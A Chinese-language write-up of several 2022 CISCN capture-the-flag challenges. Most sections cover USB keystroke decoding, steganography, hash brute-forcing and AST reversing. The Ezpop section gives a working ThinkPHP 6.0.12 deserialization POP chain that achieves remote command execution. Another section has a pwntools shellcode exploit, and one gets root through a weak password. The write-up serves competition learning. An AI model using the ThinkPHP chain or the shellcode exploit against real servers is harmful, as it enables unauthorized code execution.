第15届全国大学生知识竞赛场景实操 2022ciscn线上初赛 部分writeup

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目录

• ez_usb
• everlasting_night
• 问卷调查
• 签到电台
• Ezpop
• 基于挑战码的双向认证1、2
• 基于挑战码的双向认证3
• Iso9798
• Login-nomal
• Baby-tree

ez_usb

拿到附件wireshark打开 观察

发现流量中存在两种键盘流量

过滤

usb.addr == "2.8.1" && usbhid.data跟usb.addr == "2.10.1" && usbhid.data

分别导出为csv文件

提取hid data

梭哈脚本，将流量包中有关USB HID的数据提取出来并转成十六进制，然后对比官方的USB HID表进行转码

USB HID Usage Tables 1.12(P52).pdf (book118.com)

DicData = {0x04: "A", 0x05: "B", 0x06: "C", 0x07: "D", 0x08: "E", 0x09: "F", 0x0A: "G", 0x0B: "H", 0x0C: "I", 0x0D: "J", 0x0E: "K", 0x0F: "L", 0x10: "M", 0x11: "N", 
			0x12: "O", 0x13: "P", 0x14: "Q", 0x15: "R", 0x16: "S", 0x17: "T", 0x18: "U", 0x19: "V", 0x1A: "W", 0x1B: "X", 0x1C: "Y", 0x1D: "Z", 0x1E: "1", 0x1F: "2",
			0x20: "3", 0x21: "4", 0x22: "5", 0x23: "6", 0x24: "7", 0x25: "8", 0x26: "9", 0x27: "0", 0x28: "\n", 0x2A: "[DEL]", 0x2B: "	", 0x2C: " ", 0x2D: "-", 0x2E: "=", 
			0x2F: "[", 0x30: "]", 0x31: "\\", 0x32: "~", 0x33: ";", 0x34: "'", 0x36: ",", 0x37: ".", 0x38: "/", 0x57:"+", 0x58: "\n", 0x59: "1", 0x5A: "2", 0x5B: "3", 0x5C: "4",
			0x5D: "5", 0x5E: "6", 0x5F: "7", 0x60: "8", 0x61: "9"
			}

ListNumber = []

datas = open("2.txt")
for data in datas:
	if int('0x' + data[4:6], 16) < 0x04 or int('0x' + data[4:6], 16) > 0xa0:
		continue
	ListNumber.append(int(data[4:6], 16))
datas.close()
print(ListNumber)

flag = ""
sign = 0

for number in ListNumber:
	if sign == 0:
		if number == 0x39:
			sign = 1
			continue
		else:
			flag += DicData[number].lower()
	else:
		if number == 0x39:
			sign = 0
			continue
		else:
			flag += DicData[number].upper()

print(flag)

得到
观察526177为rar文件hex开头，导入010editor中保存为rar文件，另一串为压缩包密码，解压得到flag

everlasting_night

拿到附件，stegsolve打开，观察a2通道有lsb隐写痕迹

使用工具梭哈：cloacked-pixel 秘钥为f78dcd383f1b574b

得到加密的压缩包

同时图片尾有一串多余的md5 fb3efce4ceac2f5445c7ae17e3e969ab

将此字符串为压缩包密码打开压缩包

使用010editor删除文件头后保存附件为flag.data，使用gimp打开修正宽高比为352:287 得到flag

问卷调查

填写问卷得到flag

签到电台

密码本内容

取前七个4位数字分别与弼时安全到达了的电码进行模10运算得到6449093660734572841578386746，通过burpsuite抓包发送两次得到flag

Ezpop

1、打开靶机，发现TP版本为V6.0.12

2、根据题目提示，百度搜索TP6.0.12的漏洞

3、找到一篇关于该版本TP反序列漏洞的文章

https://blog.csdn.net/m0_47968686/article/details/122617617

4、文章里面有现成的poc可以直接利用，接下来找到路由即可

5、访问/www.zip，下载题目的源码

6、全局搜索unserialize，在index.php下的index类中的test方法找到路由

7、利用poc生成payload，在/index.php/index/test/下POST提交，成功RCE

8、修改命令，最终在根目录下找到flag

POC如下：

<?php

namespace think\model\concern;

trait Attribute
{
    private $data = ["key" => ["key1" => "cat /flag.txt"]];
    private $withAttr = ["key"=>["key1"=>"system"]];
    protected $json = ["key"];
}
namespace think;

abstract class Model
{
    use model\concern\Attribute;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $table;
    protected $jsonAssoc;
    function __construct($obj = '')
    {
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->table = $obj;
        $this->jsonAssoc = true;
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));

基于挑战码的双向认证1、2

1、题目描述是ssh端口，直接ssh登录上去，发现cube-challenge文件

2、进去后没发现什么有用的东西

3、凭借web手的本能，利用正则寻找flag：find /| grep flag

4、在/root/cube-shell/instance/flag_server/发现flag1.txt和flag2.txt

5、尝试访问，发现flag没有设置访问权限，两个flag到手

基于挑战码的双向认证3

1、同样ssh连接，故技重施一波

2、找到flag位置，尝试访问，提示没有权限访问

3、查看当前linux版本，发现是Red Hat 4.8.5

4、尝试利用弱口令进行root提权，发现密码为toor，直接拿到flag

Iso9798

连接后通过sha256密码碰撞得到前四位输入进行交互

import hashlib
dic = 'abcdefghijklmnopqrstuvwxyz1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ'
for a in dic:
    for b in dic:
        for c in dic:
            for d in dic:
                t =str(a)+str(b)+str(c)+str(d)+'VsPPBo6CqCXA6om2'
                m = (hashlib.sha256(t.encode())).hexdigest()
                if m[:64] == '6c744733df904ddf1b75ac9cd690c117c3feec780f518ae6abbef054c1678f25':
                   print(t)
                   break

随机输入数字得到回显的加密密文

将密文分成三组，交换前两组位置后进行提交得到flag

Login-nomal

通过上述几处位置可知冒号前为指令，冒号后为参数，指令与指令之间通过“\n”划分，指令只有opt和msg，通过opt可进入函数，参数要为ro0t

分析可以发现再进入该函数即可执行shellcode，并且shellcode要可见

from pwn import *
io = remote("123.56.87.204",31166)
context.log_level = "debug"
io.recv()
shellcode = "Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
# gdb.attach(io)
# pause()
payload = "opt:1\n" + "msg:ro0t1\n"
io.sendline(payload)
payload = "opt:2\n" + "msg:" + shellcode + "\n"
io.sendline(payload)
io.interactive() 

通过pwntools生成shellcode，并利用alpha3生成可见字符将shellcode填入exp中，交互得到flag

Baby-tree

浏览baby-tree.ast文件可发现以下几处可疑的地方

分析发现为AST语法树的内容，构造exp得到flag

keyValue = '345y'
values = [88,35,88,225,7,201,57,94,77,56,75,168,72,218,64,91,16,101,32,207,73,130,74,128,76,201,16,248,41,205,103,84,91,99,79,202,22,131,63,255,20,16]
k = [ord(i) for i in keyValue]  # [51, 52, 53, 121]
# print(k)
for i in range(0, len(values)-4+1):
    k[0], k[1], k[2], k[3] = k[1], k[2], k[3], k[0]
for i in range(len(values)-4, -1, -1):
    k[1], k[2], k[3], k[0] = k[0], k[1], k[2], k[3]
    r1 = values[i+3] ^ k[3]
    r0 = values[i+2] ^ k[2]
    r3 = values[i+1] ^ ((k[1] + (r1 >> 2)) & 0xff)
    r2 = values[i+0] ^ ((k[0] + (r0 >> 4)) & 0xff)
    values[i], values[i+1], values[i+2], values[i+3] = r0, r1, r2, r3
flag = ''
for c in values:
    flag += chr(c)
print(flag)